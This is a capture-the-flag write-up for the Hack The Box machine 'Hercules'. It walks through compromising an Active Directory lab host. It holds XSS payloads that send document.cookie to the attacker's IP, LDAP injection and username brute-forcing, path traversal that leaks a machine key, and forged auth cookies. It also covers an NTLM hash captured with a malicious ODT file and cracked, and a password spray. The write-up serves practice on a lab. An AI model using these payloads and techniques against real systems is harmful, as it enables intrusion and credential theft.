> m4rt@CTF_ARCHIVE:~$

// ATTACHMENTS

Hack The Box / WINDOWS / 2026-09-11

Hack The Box — Hercules (Windows)

LDAP injection reveals domain users and a password in an Active Directory description. Kerberos access leads to web application machine-key forgery, NTLM capture, shadow credentials, OU manipulation, AD CS ESC3 abuse, and an SPN-less resource-based constrained delegation attack to compromise Administrator.

Machine information

The root flag can be found in the non-default location C:\Users\Admin\Desktop.

Target

  • IP: 10.10.11.91

Recon

sudo nmap -sC -sV 10.10.11.91 -p- -v
PORT      STATE SERVICE       VERSION
53/tcp    open  domain        Simple DNS Plus
80/tcp    open  http          Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Did not follow redirect to https://10.10.11.91/
| http-methods:
|_  Supported Methods: GET HEAD POST OPTIONS
88/tcp    open  kerberos-sec  Microsoft Windows Kerberos (server time: 2025-10-19 10:39:58Z)
135/tcp   open  msrpc         Microsoft Windows RPC
139/tcp   open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp   open  ldap          Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
|_SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
|_ssl-date: TLS randomness does not represent time
443/tcp   open  ssl/http      Microsoft IIS httpd 10.0
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-title: Hercules Corp
| ssl-cert: Subject: commonName=hercules.htb
| Subject Alternative Name: DNS:hercules.htb
| Issuer: commonName=hercules.htb
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:56
| Not valid after:  2034-12-04T01:44:56
| MD5:   5f2d:5a1e:ddb2:3380:c69b:f57b:c5dc:3b03
|_SHA-1: e7d6:740f:7eb5:4f00:3037:4bf9:6eb6:dad5:ed84:656b
| tls-alpn:
|_  http/1.1
|_ssl-date: TLS randomness does not represent time
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ssl/ldap
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
|_SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
|_ssl-date: TLS randomness does not represent time
3268/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
|_SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
|_ssl-date: TLS randomness does not represent time
3269/tcp  open  ssl/ldap      Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
|_SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
|_ssl-date: TLS randomness does not represent time
5986/tcp  open  ssl/http      Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
| ssl-cert: Subject: commonName=dc.hercules.htb
| Subject Alternative Name: DNS:dc.hercules.htb, DNS:hercules.htb, DNS:HERCULES
| Issuer: commonName=CA-HERCULES
| Public Key type: rsa
| Public Key bits: 2048
| Signature Algorithm: sha256WithRSAEncryption
| Not valid before: 2024-12-04T01:34:52
| Not valid after:  2034-12-02T01:34:52
| MD5:   4555:8812:ecf9:9677:afc2:1897:9f20:766b
|_SHA-1: eed0:eb69:2903:5bf6:a32a:5f5b:58a0:7b86:1868:6035
|_http-server-header: Microsoft-HTTPAPI/2.0
|_ssl-date: TLS randomness does not represent time
| tls-alpn:
|_  http/1.1
|_http-title: Not Found
9389/tcp  open  mc-nmf        .NET Message Framing
49664/tcp open  msrpc         Microsoft Windows RPC
49667/tcp open  msrpc         Microsoft Windows RPC
55131/tcp open  msrpc         Microsoft Windows RPC
55589/tcp open  msrpc         Microsoft Windows RPC
55613/tcp open  msrpc         Microsoft Windows RPC
64026/tcp open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
64033/tcp open  msrpc         Microsoft Windows RPC
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows

Add dc.hercules.htb and hercules.htb to /etc/hosts.

sudo nmap -sU 10.10.11.91 -p- -v --min-rate 5000
PORT    STATE SERVICE
88/udp  open  kerberos-sec
123/udp open  ntp
389/udp open  ldap

Go to https://10.10.11.91/. There is a contact form where we can leave a message. After sending the message, it says: We'll get back to you right away!

I tried several XSS payloads, but they did not work:

<img src=x onerror=fetch('http://10.10.14.118/pwnd',{method: 'POST', mode: 'no-cors', body: document.cookie}); >
<img src=x onerror=fetch('https://10.10.14.118/pwnd',{method: 'POST', mode: 'no-cors', body: document.cookie}); >
><img src=x onerror=fetch('http://10.10.14.118/pwnd',{method: 'POST', mode: 'no-cors', body: document.cookie}); >
><img src=x onerror=fetch('https://10.10.14.118/pwnd',{method: 'POST', mode: 'no-cors', body: document.cookie}); >
"><img src=x onerror=fetch('http://10.10.14.118/pwnd',{method: 'POST', mode: 'no-cors', body: document.cookie}); >
"><img src=x onerror=fetch('https://10.10.14.118/pwnd',{method: 'POST', mode: 'no-cors', body: document.cookie}); >
{method: 'POST', mode: 'no-cors', body: document.cookie}
gobuster dir -u 'https://10.10.11.91/' -w /home/kali/wordlists/raft-small-words.txt -t 50 -k
/login                (Status: 200) [Size: 3213]
/index                (Status: 200) [Size: 27342]
/home                 (Status: 302) [Size: 141] [--> /Login?ReturnUrl=%2fhome]
/content              (Status: 301) [Size: 153] [--> https://10.10.11.91/content/]
/Login                (Status: 200) [Size: 3213]
/default              (Status: 200) [Size: 27342]
/.                    (Status: 200) [Size: 27342]
/Default              (Status: 200) [Size: 27342]
/Home                 (Status: 302) [Size: 141] [--> /Login?ReturnUrl=%2fHome]
/Content              (Status: 301) [Size: 153] [--> https://10.10.11.91/Content/]
/Index                (Status: 200) [Size: 27342]
/HOME                 (Status: 302) [Size: 141] [--> /Login?ReturnUrl=%2fHOME]
/LogIn                (Status: 200) [Size: 3213]
/LOGIN                (Status: 200) [Size: 3213]
/CONTENT              (Status: 301) [Size: 153] [--> https://10.10.11.91/CONTENT/]
/INDEX                (Status: 200) [Size: 27342]
/DEFAULT              (Status: 200) [Size: 27342]

There is a login form at /login.

ffuf -u 'https://10.10.11.91/Home/FUZZ' -w /home/kali/wordlists/raft-small-words.txt -t 50
index                   [Status: 302, Size: 149, Words: 6, Lines: 4, Duration: 138ms]
download                [Status: 302, Size: 152, Words: 6, Lines: 4, Duration: 139ms]
account                 [Status: 302, Size: 151, Words: 6, Lines: 4, Duration: 105ms]
downloads               [Status: 302, Size: 153, Words: 6, Lines: 4, Duration: 89ms]
mail                    [Status: 302, Size: 148, Words: 6, Lines: 4, Duration: 96ms]
forms                   [Status: 302, Size: 149, Words: 6, Lines: 4, Duration: 100ms]
.                       [Status: 302, Size: 144, Words: 6, Lines: 4, Duration: 109ms]
security                [Status: 302, Size: 152, Words: 6, Lines: 4, Duration: 71ms]
Downloads               [Status: 302, Size: 153, Words: 6, Lines: 4, Duration: 61ms]
Account                 [Status: 302, Size: 151, Words: 6, Lines: 4, Duration: 61ms]
Forms                   [Status: 302, Size: 149, Words: 6, Lines: 4, Duration: 122ms]
Download                [Status: 302, Size: 152, Words: 6, Lines: 4, Duration: 122ms]
Index                   [Status: 302, Size: 149, Words: 6, Lines: 4, Duration: 101ms]
Mail                    [Status: 302, Size: 148, Words: 6, Lines: 4, Duration: 90ms]
Security                [Status: 302, Size: 152, Words: 6, Lines: 4, Duration: 63ms]
FORMS                   [Status: 302, Size: 149, Words: 6, Lines: 4, Duration: 46ms]
DOWNLOADS               [Status: 302, Size: 153, Words: 6, Lines: 4, Duration: 90ms]
DownLoad                [Status: 302, Size: 152, Words: 6, Lines: 4, Duration: 96ms]
DOWNLOAD                [Status: 302, Size: 152, Words: 6, Lines: 4, Duration: 60ms]
MAIL                    [Status: 302, Size: 148, Words: 6, Lines: 4, Duration: 62ms]
INDEX                   [Status: 302, Size: 149, Words: 6, Lines: 4, Duration: 74ms]
downLoads               [Status: 302, Size: 153, Words: 6, Lines: 4, Duration: 63ms]

LDAP injection and user enumeration

Download kerbrute from https://github.com/ropnop/kerbrute.

./kerbrute userenum -d hercules.htb --dc dc.hercules.htb /home/kali/wordlists/xato-net-10-million-usernames.txt -t 50
2025/10/19 10:50:13 >  [+] VALID USERNAME:       admin@hercules.htb
2025/10/19 10:50:19 >  [+] VALID USERNAME:       administrator@hercules.htb
2025/10/19 10:50:20 >  [+] VALID USERNAME:       Admin@hercules.htb
2025/10/19 10:51:30 >  [+] VALID USERNAME:       Administrator@hercules.htb
2025/10/19 10:53:27 >  [+] VALID USERNAME:       auditor@hercules.htb
2025/10/19 10:54:56 >  [+] VALID USERNAME:       ADMIN@hercules.htb
2025/10/19 11:22:45 >  [+] VALID USERNAME:       will.s@hercules.htb

Kerbrute takes a very long time, so I stopped it after a while.

On the /Login page, we can experiment with the form. The page source shows a regex that checks that the username contains no special characters:

^[^!"#&'()*+,\:;<=>?[\]^`{|}~]+$

If we enter a username that probably does not exist, such as aaaaaa, we get Invalid login attempt. If we enter an existing username, such as will.s, we get a different error: Login attempt failed.

There is also an LDAP injection. For example, use this payload, double URL-encode it, and place it in the Username field by intercepting the login request with Burp Proxy:

aaaaaa*)(sAMAccountName=*
aaaaaa%252A%2529%2528sAMAccountName%253D%252A

Use any password. We get Invalid login attempt.

If we use w*)(sAMAccountName=*, double URL-encoded as w%252A%2529%2528sAMAccountName%253D%252A, with any password, we get Login attempt failed. We know that there is a user beginning with w: will.s.

We can therefore write a Python script to automatically brute-force usernames with this technique. Once the usernames have been brute-forced, we can similarly brute-force any Active Directory attribute for those users by replacing sAMAccountName with the attribute to test. See ldap_bruteforce.py.

First, brute-force the usernames:

python3 ldap_bruteforce.py -u https://10.10.11.91/login -t 20
[SUCCESS] Trovati 41 username:
  - bob.w
  - ken.w
  - ray.n
  - joel.c
  - mark.s
  - nate.h
  - rene.s
  - shae.j
  - will.s
  - zeke.s
  - auditor
  - fiona.c
  - jacob.b
  - james.s
  - winda.s
  - angelo.o
  - ashley.b
  - elijah.m
  - harris.d
  - ramona.l
  - adriana.i
  - anthony.r
  - camilla.b
  - heather.s
  - jessica.e
  - johanna.f
  - mikayla.a
  - natalie.a
  - patrick.s
  - stephen.m
  - vincent.g
  - web_admin
  - clarissa.c
  - fernando.r
  - jennifer.a
  - johnathan.j
  - stephanie.w
  - iis_webserver
  - iis_hadesapppool
  - iis_defaultapppool
  - iis_apppoolidentity
============================================================
[*] Username salvati in: usernames.txt

The script also supports brute-forcing the sAMAccountName attribute:

python3 ldap_bruteforce.py -u https://10.10.11.91/login -t 20 --bruteforce-attr --attribute sAMAccountName
============================================================
[SUCCESS] Risultati completi:
  - bob.w: bob
  - ken.w: ken
  - ray.n: ray
  - joel.c: joel
  - mark.s: marK
  - nate.h: nate
  - rene.s: rene
  - shae.j: shae
  - will.s: will
  - zeke.s: zeke
  - auditor: auditor
  - fiona.c: fiona
  - jacob.b: jacob
  - james.s: james
  - winda.s: Winda
  - angelo.o: angelo
  - ashley.b: ashley
  - elijah.m: elijah
  - harris.d: harris
  - ramona.l: ramona
  - adriana.i: adriana
  - anthony.r: anthony
  - camilla.b: camilla
  - heather.s: heather
  - jessica.e: jessica
  - johanna.f: johanna
  - mikayla.a: mikayla
  - natalie.a: natalie
  - patrick.s: patrick
  - stephen.m: stephen
  - vincent.g: vincEnt
  - web_admin: web_admin
  - clarissa.c: clarissa
  - fernando.r: fernando
  - jennifer.a: jennifer
  - johnathan.j: johnathan
  - stephanie.w: stephanie
  - iis_webserver: N/A
  - iis_hadesapppool: N/A
  - iis_defaultapppool: N/A
  - iis_apppoolidentity: N/A
============================================================

Put the sAMAccountName values in sAMAccountNames.txt. Some users do not have an sAMAccountName.

This is somewhat counterintuitive. If we use kerbrute userenum with the usernames:

./kerbrute userenum -d hercules.htb --dc dc.hercules.htb ./usernames.txt -t 50

all of them are reported as valid system users. If we instead use the sAMAccountName values:

./kerbrute userenum -d hercules.htb --dc dc.hercules.htb ./sAMAccountNames.txt -t 50

only web_admin and auditor are valid.

Now brute-force the description attribute to look for interesting information:

python3 ldap_bruteforce.py -u https://10.10.11.91/login -t 20 --bruteforce-attr --attribute description

Only johnathan.j has a description:

============================================================
[SUCCESS] Risultati completi:
[...]
  - johnathan.j: change*th1s_p@ssw()rd!!
[...]
============================================================

Check whether these credentials are valid on the machine:

nxc smb dc.hercules.htb -u 'johnathan.j' -p 'change*th1s_p@ssw()rd!!'
SMB         10.10.11.91     445    10.10.11.91      [*]  x64 (name:10.10.11.91) (domain:10.10.11.91) (signing:True) (SMBv1:False) (NTLM:False)
SMB         10.10.11.91     445    10.10.11.91      [-] 10.10.11.91\johnathan.j:change*th1s_p@ssw()rd!! STATUS_NOT_SUPPORTED

NTLM authentication is disabled, so we must use Kerberos:

getTGT.py 'hercules.htb'/'johnathan.j':'change*th1s_p@ssw()rd!!' -dc-ip 10.10.11.91

This returns Kerberos SessionError: KDC_ERR_PREAUTH_FAILED(Pre-authentication information was invalid), so the password is not valid for this user.

Try the password against the users we enumerated:

./kerbrute --dc dc.hercules.htb -d hercules.htb -v passwordspray usernames.txt 'change*th1s_p@ssw()rd!!'
2025/12/21 06:32:19 >  [+] VALID LOGIN:  ken.w@hercules.htb:change*th1s_p@ssw()rd!!
getTGT.py 'hercules.htb'/'ken.w':'change*th1s_p@ssw()rd!!' -dc-ip 10.10.11.91
[*] Saving ticket in ken.w.ccache
export KRB5CCNAME=ken.w.ccache
nxc smb dc.hercules.htb -d hercules.htb -k --use-kcache --shares
SMB         dc.hercules.htb 445    dc               [*]  x64 (name:dc) (domain:hercules.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc.hercules.htb 445    dc               [+] hercules.htb\ken.w from ccache
SMB         dc.hercules.htb 445    dc               [*] Enumerated shares
SMB         dc.hercules.htb 445    dc               Share           Permissions     Remark
SMB         dc.hercules.htb 445    dc               -----           -----------     ------
SMB         dc.hercules.htb 445    dc               ADMIN$                          Remote Admin
SMB         dc.hercules.htb 445    dc               C$                              Default share
SMB         dc.hercules.htb 445    dc               Department
SMB         dc.hercules.htb 445    dc               IPC$            READ            Remote IPC
SMB         dc.hercules.htb 445    dc               NETLOGON        READ            Logon server share
SMB         dc.hercules.htb 445    dc               Reports
SMB         dc.hercules.htb 445    dc               SYSVOL          READ            Logon server share
SMB         dc.hercules.htb 445    dc               Users           READ

The interesting shares are Department, Reports, and Users. We can access Users in several ways.

Access with smbclient.py

smbclient.py hercules.htb/ken.w@dc.hercules.htb -k -no-pass -dc-ip 10.10.11.91

Access with the standard smbclient

Edit /etc/krb5.conf and add:

[realms]
        HERCULES.HTB = {
                kdc = dc.hercules.htb
                admin_server = dc.hercules.htb
        }

[domain_realm]
        .hercules.htb = HERCULES.HTB
        hercules.htb = HERCULES.HTB

Then run:

smbclient -U ken.w@HERCULES.HTB --use-kerberos=required //dc.hercules.htb/Users

Enter the password. We get an SMB shell:

ls

There are many users, each with their own directory.

To work with this share more easily, we can mount it locally. We must use Kerberos authentication. The ticket obtained with getTGT.py does not work, so we need to obtain it manually with kinit.

Obtain an RC4-HMAC ticket:

ktutil
addent -password -p ken.w@HERCULES.HTB -k 1 -e rc4-hmac
wkt kenw.keytab
quit

Enter the password. A kenw.keytab file is created:

export KRB5CCNAME=/tmp/krb5cc_kenw
kinit -k -t kenw.keytab 'ken.w@HERCULES.HTB'
klist
Ticket cache: FILE:/tmp/krb5cc_kenw
Default principal: ken.w@HERCULES.HTB

Valid starting       Expires              Service principal
12/21/2025 07:34:28  12/21/2025 17:34:28  krbtgt/HERCULES.HTB@HERCULES.HTB
        renew until 12/22/2025 07:34:28

Now mount the share:

sudo mount -t cifs //dc.hercules.htb/Users ./mnt -o sec=krb5,cruid=$(id -u),vers=3.1.1
cd mnt
tree

The user directories contain the usual folders such as Desktop and Documents, but no files are shown inside them. It seems that we cannot obtain anything interesting. We can, however, save the user list:

ls -1 > ../users_3.txt

Unmount the share:

cd ..
sudo umount ./mnt

LDAP and BloodHound enumeration

We can also query LDAP with ldapsearch. For example, retrieve sAMAccountName:

ldapsearch -Y GSSAPI -H ldap://dc.hercules.htb -b "dc=hercules,dc=htb" "(objectClass=person)" sAMAccountName

The correct sAMAccountName values include:

# Johnathan Johnson, Web Department, DCHERCULES, hercules.htb
dn: CN=Johnathan Johnson,OU=Web Department,OU=DCHERCULES,DC=hercules,DC=htb
sAMAccountName: johnathan.j

I am not sure why the earlier brute-force did not find the correct values.

We can also retrieve all system users with nxc smb and --rid-brute:

nxc smb dc.hercules.htb -d hercules.htb -k --use-kcache --rid-brute 5000 | grep SidTypeUser | cut -d: -f2 | cut -d \\ -f2 | cut -d' ' -f1 > users_2.txt

Enumerate the domain with BloodHound:

bloodhound-ce-python -u ken.w -k -no-pass -ns 10.10.11.91 -d 'hercules.htb' -dc dc.hercules.htb -c All --zip
sudo bloodhound

Upload the ZIP file. BloodHound shows no interesting relationships for ken.w.

Web application path traversal and forged cookies

We can log in to https://10.10.11.91/Login with:

  • ken.w: change*th1s_p@ssw()rd!!

There are several pages, including a Downloads page where we can download PDFs. Intercept a download request with Burp. The path is:

/Home/Download?fileName=report.pdf

This may be vulnerable to path traversal. Using a known file such as avatar.png, the following path returns the image:

/Home/Download?fileName=../../Content/Assets/avatar.png

We can retrieve web.config:

/Home/Download?fileName=../../web.config

It contains the machine key:

<machineKey decryption="AES" decryptionKey="B26C371EA0A71FA5C3C9AB53A343E9B962CD947CD3EB5861EDAE4CCC6B019581" validation="HMACSHA256" validationKey="EBF9076B4E3026BE6E3AD58FB72FF9FAD5F7134B42AC73822C5F3EE159F20214B73A80016F9DDB56BD194C268870845F7A60B39DEF96B553A022F1BA56A18B80" />

With the machine key, we can forge a cookie for any user. The idea is to craft a cookie for web_admin.

Use this repository: https://github.com/dazinator/AspNetCore.LegacyAuthCookieCompat.

It is a dotnet project and it is a library.

So we need to create an app that loads and uses the library's code.

git clone https://github.com/dazinator/AspNetCore.LegacyAuthCookieCompat.git
cd AspNetCore.LegacyAuthCookieCompat/src
dotnet new console -n Runner
dotnet add Runner/Runner.csproj reference AspNetCore.LegacyAuthCookieCompat/AspNetCore.LegacyAuthCookieCompat.csproj

Modify Program.cs in the Runner application. Decrypt the ken.w cookie from the browser and craft a cookie for web_admin.

See the attached file Program.cs.

Build the project:

dotnet publish Runner/Runner.csproj -c Debug -r linux-x64 --self-contained true
Runner/bin/Debug/net6.0/linux-x64/Runner

The binary is located at Runner/bin/Debug/net6.0/linux-x64/Runner. The output is:

=== Decrypted Forms Authentication Ticket ===
Version: 1
Name: ken.w
Issue Date: 12/21/2025 5:58:57PM
Expiration: 12/21/2025 6:08:57PM
IsPersistent: False
UserData: Web Users
CookiePath: /

=== Forged Forms Authentication Ticket ===
Version: 1
Name: web_admin
Issue Date: 12/21/2025 9:31:20AM
Expiration: 12/21/2035 9:31:20AM
IsPersistent: False
UserData: Web Users
CookiePath: /

=== Encrypted Forged Cookie ===
D7C1B517B7B0D6EF0D1882B5A489FA5B4B4D05B5483214C534DDE5A6371C98A58E97FD57F2E71D21E521A43FE4AA7E32E9A5F2C4385FA9143E05BF056D44E5CE82345A4F4296EBDD250D2238C47E06A75E82D7D704350C870F1F444E238B12C16FFD61901B74D0128D142CFB686ACDB259CE1AAC373422330A878D5981C715D4BFB53977FC2FD605C91C203B06B4BEFE2DA9DD464379FFEAE88FF9708BE87D90

Put the new web_admin cookie in the browser and go to https://10.10.11.91/Home. We are now web_admin, but there does not appear to be anything interesting.

We can continue extracting information through path traversal. For example, retrieve the view for /Home/Forms:

/Home/Download?fileName=../../Views/Home/Forms.cshtml

It contains:

@model HadesWeb.Models.UploadFormModel

We can infer the path to the site DLL and retrieve it with:

/Home/Download?fileName=../../bin/HadesWeb.dll

Save it as HadesWeb.dll and open it with dnSpy on Windows to inspect the source. There do not appear to be credentials in it, but there are emails in App_Data/emails.json:

/Home/Download?fileName=../../App_data/emails.json

Copy the response to emails.json with Burp, then use Vim to remove the first lines containing the path and HTTP response headers.

file emails.json
emails.json: Unicode text, UTF-16, little-endian text, with very long lines (707), with CRLF line terminators

Convert it to UTF-8:

iconv -f UTF-16LE -t UTF-8 emails.json -o emails-utf8.json
cat emails-utf8.json | jq .
[
  {
    "Roles": "Web Administrators",
    "Title": "Security Audit",
    "Text": "FW: Security Department\n\nHello Web Admins,\n\nSecurity is writing to inform you that in light of some necessary changes to the domain separate sign on for this site will be disabled in the coming future. Configuration changes you need to make:\n\n1) Migrate user logons to use domain credentials.\n2) Disable site registration.\n3) For company logons, ensure this site is in sync with the KDC.\n4) Restrict file upload to administrators only.\n\nCurrently we're working on disabling some legacy authentication systems in place on the domain. Once these protocols are deprecated we will consider relaxing some of these changes.\n\nThanks for your co-operation,\nSecurity."
  },
  {
    "Roles": "Web Administrators",
    "Title": "Password Reset??",
    "Text": "Hi! Was just wondering if I could get my password reset? I seem to have forgotten it...\n\nCheers, Johnathan."
  },
  {
    "Roles": "Web Users",
    "Title": "Site Maintenance",
    "Text": "Good Morning Staff,\n\nOver the coming days we'll be doing some changes to the site, so you may notice some downtime or missing functionality in some forms.\n\nWe should inform you that the website is now in-sync with the domain, which means that from now on you MUST use your domain credentials to login to the site. If you've forgotten your password for the domain, or need other details associated with your account changed, we recommend getting in touch with Natalie from the support team.\n\nWe'll continue to work closely with security to maintain the continued integrity of the site. Feel free to contact us at web_admin@hercules.htb if you have any issues.\n\nMuch Regards, Web Admins."
  },
  {
    "Roles": "Web Users",
    "Title": "IMPORTANT!!!",
    "Text": "Hello user,\n\nI am the domain administrator. I am writing to you to tell you that your account has been hacked. you must change your password today. In this email i have attached a link for you to change password. please do urgently!!\n\nDOMAIN\\ADMINISTRATOR.\n\n http://hadess.htb/ChangePassword"
  },
  {
    "Roles": "Web Users",
    "Title": "From the Boss.",
    "Text": "To whom it may concern,\n\nIn light of your recent hard-work I have decided to grant you a pay-raise. Congratulations.\n\nPlease download and open the attached document to see your new payslip details.\n\n ----> http://hade5.htb/ta577/payslip.zip"
  }
]

The first emails are readable by members of Web Administrators. The forged cookie used the Web Users role, so they were not visible at /Home/Mail. If we forge another cookie with the Web Administrators role, we would be able to view them.

The email says: Restrict file upload to administrators only. At /Home/Forms, we can submit a report and upload a file. With the web_admin cookie, uploading a PNG returns File Upload not permitted. The source contains this check:

if (base.User.IsInRole("Web Administrators"))

Now the idea is to forge a cookie with the Web Administrators role. Modify Program.cs, rebuild the project, and run:

Runner/bin/Debug/net6.0/linux-x64/Runner
[...]
=== Forged Forms Authentication Ticket ===
Version: 1
Name: web_admin
Issue Date: 12/21/2025 11:33:19AM
Expiration: 12/21/2035 11:33:19AM
IsPersistent: False
UserData: Web Administrators
CookiePath: /

=== Encrypted Forged Cookie ===
00B329740AF0F873C9F493BC8C8CD5D4D0A26FBEB32E08D74D2FDB8A35D6E52F619C216269408367ABF67EE027502AA794B64ECF2A6144A0D141071FCE3CC0AAC4343079F33BCE586C943CF730AAD7B33FDA304185D8D7C597D130D49376565A56B7FB259AF33F2D5A716DAD83B6BF4E67F02DEC172B563AEC4812B3019CDBF2D8A977D0104AD4147B5773C501FC1C8A04585A63960123E909875D6AD4F7B42C92F6C6A0348E97F7E7FC04ED57481DDFB136860ED346C8E84CB9A1C29CD2FAD8

Replace the cookie in the browser. Uploading a file such as a PNG now returns File type is not supported, which means the authorization check is bypassed.

The source shows that files with .docx or .odt extensions are accepted. They are saved in C:\inetpub\Reports\. The path is built as follows:

string text = Path.GetExtension(model.UploadedFile.FileName).ToLower();
string text2 = string.Format("{0}{1}", Guid.NewGuid(), text);
string text3 = Path.Combine("C:\\inetpub\\Reports\\", Path.GetFileName(text2));

A random GUID and the extension are used, so path traversal is not possible. However, only the extension is checked, not the content, so we can upload anything.

Generate a malicious .odt file with Metasploit:

msfconsole
use auxiliary/fileformat/odt_badodt
set LHOST tun0
run
[+] bad.odt stored at /home/kali/.msf4/local/bad.odt
[*] Auxiliary module execution completed

Copy bad.odt to the current directory. Start Responder:

sudo responder -I tun0

Submit the report form and upload bad.odt. I used natalie.a@hercules.htb as the email, although another address may also work. Wait for a request in Responder:

[SMB] NTLMv2-SSP Client   : 10.10.11.91
[SMB] NTLMv2-SSP Username : HERCULES\natalie.a
[SMB] NTLMv2-SSP Hash     : natalie.a::HERCULES:f810afe7066fb113:AA60BE1A7D73FDAA05253E9A423509EF:010100000000000080FD74747072DC01D65488DE12F7E6BF0000000002000800510057003600350001001E00570049004E002D005A00370052003100460031004A0042004C004400460004003400570049004E002D005A00370052003100460031004A0042004C00440046002E0051005700360035002E004C004F00430041004C000300140051005700360035002E004C004F00430041004C000500140051005700360035002E004C004F00430041004C000700080080FD74747072DC0106000400020000000800300030000000000000000000000000200000D78F2981AA4D0B6D82F2534005FF7B187EECF499D1F909B0A24E776A9215CBA80A001000000000000000000000000000000000000900220063006900660073002F00310030002E00310030002E00310036002E003100310039000000000000000000

Put the hash in hash and crack it:

hashcat -a 0 ./hash /usr/share/wordlists/rockyou.txt
NATALIE.A::HERCULES:f810afe7066fb113:aa60be1a7d73fdaa05253e9a423509ef:010100000000000080fd74747072dc01d65488de12f7e6bf0000000002000800510057003600350001001e00570049004e002d005a00370052003100460031004a0042004c004400460004003400570049004e002d005a00370052003100460031004a0042004c00440046002e0051005700360035002e004c004f00430041004c000300140051005700360035002e004c004f00430041004c000500140051005700360035002e004c004f00430041004c000700080080fd74747072dc0106000400020000000800300030000000000000000000000000200000d78f2981aa4d0b6d82f2534005ff7b187eecf499d1f909b0a24e776a9215cba80a001000000000000000000000000000000000000900220063006900660073002f00310030002e00310030002e00310036002e003100310039000000000000000000:Prettyprincess123!

Request a TGT for natalie.a:

getTGT.py 'hercules.htb'/'natalie.a':'Prettyprincess123!' -dc-ip 10.10.11.91
export KRB5CCNAME='natalie.a.ccache'
[*] Saving ticket in natalie.a.ccache

BloodHound shows that natalie.a is a member of Web Support, which has GenericWrite relationships to web_admin, bob.w, ken.w, johnatan.j, harris.d, and ray.n. These users do not appear to have interesting relationships.

Enumerate shares again:

nxc smb dc.hercules.htb -d hercules.htb -k --use-kcache --shares
SMB         dc.hercules.htb 445    dc               [*]  x64 (name:dc) (domain:hercules.htb) (signing:True) (SMBv1:False) (NTLM:False)
SMB         dc.hercules.htb 445    dc               [+] hercules.htb\natalie.a from ccache
SMB         dc.hercules.htb 445    dc               [*] Enumerated shares
SMB         dc.hercules.htb 445    dc               Share           Permissions     Remark
SMB         dc.hercules.htb 445    dc               -----           -----------     ------
SMB         dc.hercules.htb 445    dc               ADMIN$                          Remote Admin
SMB         dc.hercules.htb 445    dc               C$                              Default share
SMB         dc.hercules.htb 445    dc               Department      READ
SMB         dc.hercules.htb 445    dc               IPC$            READ            Remote IPC
SMB         dc.hercules.htb 445    dc               NETLOGON        READ            Logon server share
SMB         dc.hercules.htb 445    dc               Reports         READ,WRITE
SMB         dc.hercules.htb 445    dc               SYSVOL          READ            Logon server share
SMB         dc.hercules.htb 445    dc               Users           READ

Access Reports and Department:

smbclient -U natalie.a@HERCULES.HTB --use-kerberos=required //dc.hercules.htb/Department

Enter Prettyprincess123!. In the SMB shell:

cd IT
dir
  .                                   D        0  Wed Dec  4 08:45:12 2024
  ..                                  D        0  Wed Dec  4 08:45:09 2024
  cleanup.lnk                         A     1048  Wed Dec  4 08:45:12 2024
  notice.eml                          A      935  Wed Dec  4 08:15:30 2024
get cleanup.lnk
get notice.eml

On the attacker machine:

cat notice.eml
From: Ashley Browne
Sent: Tuesday 10:17:27 AM
To: IT Support <HERCULES\IT Support@HERCULES.HTB>
Subject: Password Reset

Hey Team,

The Administration has provided a solution to much of the permission issues=
some of you have been facing.

If you are having problems changing a password, the instructions are:

1) Check AD Permissions against the user.
2) Run the shortcut provided in the share.
3) Try to reset the password again.

If all else fails, send me a message.

Regards, Ashley.

Inspect the shortcut by copying it to Windows and opening its properties. The target is C:\Users\ashley.b\Desktop\aCleanup.ps1. On Linux, use lnkinfo:

lnkinfo cleanup.lnk
